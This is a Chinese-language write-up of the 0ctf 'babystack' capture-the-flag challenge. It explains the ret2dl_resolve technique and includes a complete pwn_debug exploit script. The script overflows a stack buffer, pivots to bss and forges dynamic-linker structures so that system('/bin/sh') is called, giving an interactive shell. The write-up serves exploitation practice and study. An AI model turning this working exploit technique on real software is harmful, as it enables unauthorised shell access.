前言
0ctf 的一道 babystack ,练习一下 ret2dl_resolve 技术。
程序分析
int __cdecl main()
{
alarm(0xAu);
my_read();
return 0;
}
ssize_t my_read()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
程序很简单,而且没有开启 pie 跟 canary ,直接常规 rop 就可以了。这里我们不用常规方法,试试 ret2dl_resolve 。
利用过程
ret2dl_resolve 的原理就不细讲了,网上有很多资料。这题的思路就是在 bss 段伪造 resolve_data ,达到在没有 leak libc 的情况下,同样可以调用 system 来 get shell 的目的。这里用的是 pwn_debug 的方法,原型如下:
def build_normal_resolve(self,base,function_name, resolve_target)
return evil_addr,resolve_data,resovle_cal
base:要放入 resolve_data 的地址。
function_name:需要调用的函数的名称
resolve_target:got 表的地址,也就是最终真实函数地址需要写入的地址。一般来说,这个地址给个可写地址即可。
最后将返回三个数据
evil_addr:建议放入 resolve_data 地址,该地址将 ndx 变为 0 。
resolve_data:伪造的结构,如符号数据。
resolve_call:也就是 p32(plt0)+p32(fake_reloc_offset)。
exp
from pwn_debug import *
pdbg=pwn_debug("./babystack")
#pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
#p=pdbg.run("local")
p=pdbg.run("local")
elf=pdbg.elf
libc=pdbg.libc
def pwn():
p3_ret=0x080484e9 #: pop esi ; pop edi ; pop ebp ; ret
pebp_ret=0x080484eb #: pop ebp ; ret
leave_ret=0x080483a8 # : leave ; ret
bss_addr=0x804a000+0x500
ret2dl_resolve=pdbg.ret2dl_resolve()
addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(bss_addr,'system',bss_addr+0x400)
print 'addr:' + hex(addr)
print 'len_resolve_data:' + str(len(resolve_data))
print 'resovle_call:' + resovle_call
#pdbg.bp(0x8048456)
payload='a'*0x28+p32(addr+len(resolve_data)+0x40)+p32(elf.plt['read'])+p32(leave_ret)+p32(0)+p32(addr)+p32(0x1000)
p.send(payload)
payload=resolve_data+'a'*0x44+resovle_call
payload+=p32(0)+p32(addr+len(payload)+8)+'/bin/shx00'
p.send(payload)
p.interactive() #get the shell
if __name__ == '__main__':
pwn()
遇到问题
exp 构造的时候需要在 resolve_data 跟 resovle_call 填充 0x44 个字节,其实按理说这个填充的数量应该是不影响的,但是这里只有填充 0x44 个字节才可以,并且在其他题目中也得到了验证。如果使用了其他填充数值,则在 _dl_lookup_symbol_x 中会绕不过如下判断,最终调用 _dl_signal_cerror 报错。
if (__glibc_unlikely (current_value.s == NULL))
{
if ((*ref == NULL || ELFW(ST_BIND) ((*ref)->st_info) != STB_WEAK)
&& skip_map == NULL
&& !(GLRO(dl_debug_mask) & DL_DEBUG_UNUSED))
{
/* We could find no value for a strong reference. */
const char *reference_name = undef_map ? undef_map->l_name : "";
const char *versionstr = version ? ", version " : "";
const char *versionname = (version && version->name
? version->name : "");
/* XXX We cannot translate the message. */
_dl_signal_cerror (0, DSO_FILENAME (reference_name),
N_("symbol lookup error"),
make_string ("undefined symbol: ", undef_name,
versionstr, versionname));
}
*ref = NULL;
return 0;
}
这里具体原因没有搞明白,以后有时间具体研究一下。
内容来源
https://github.com/ray-cp/pwn_category/tree/master/stack/ret2dl_resolve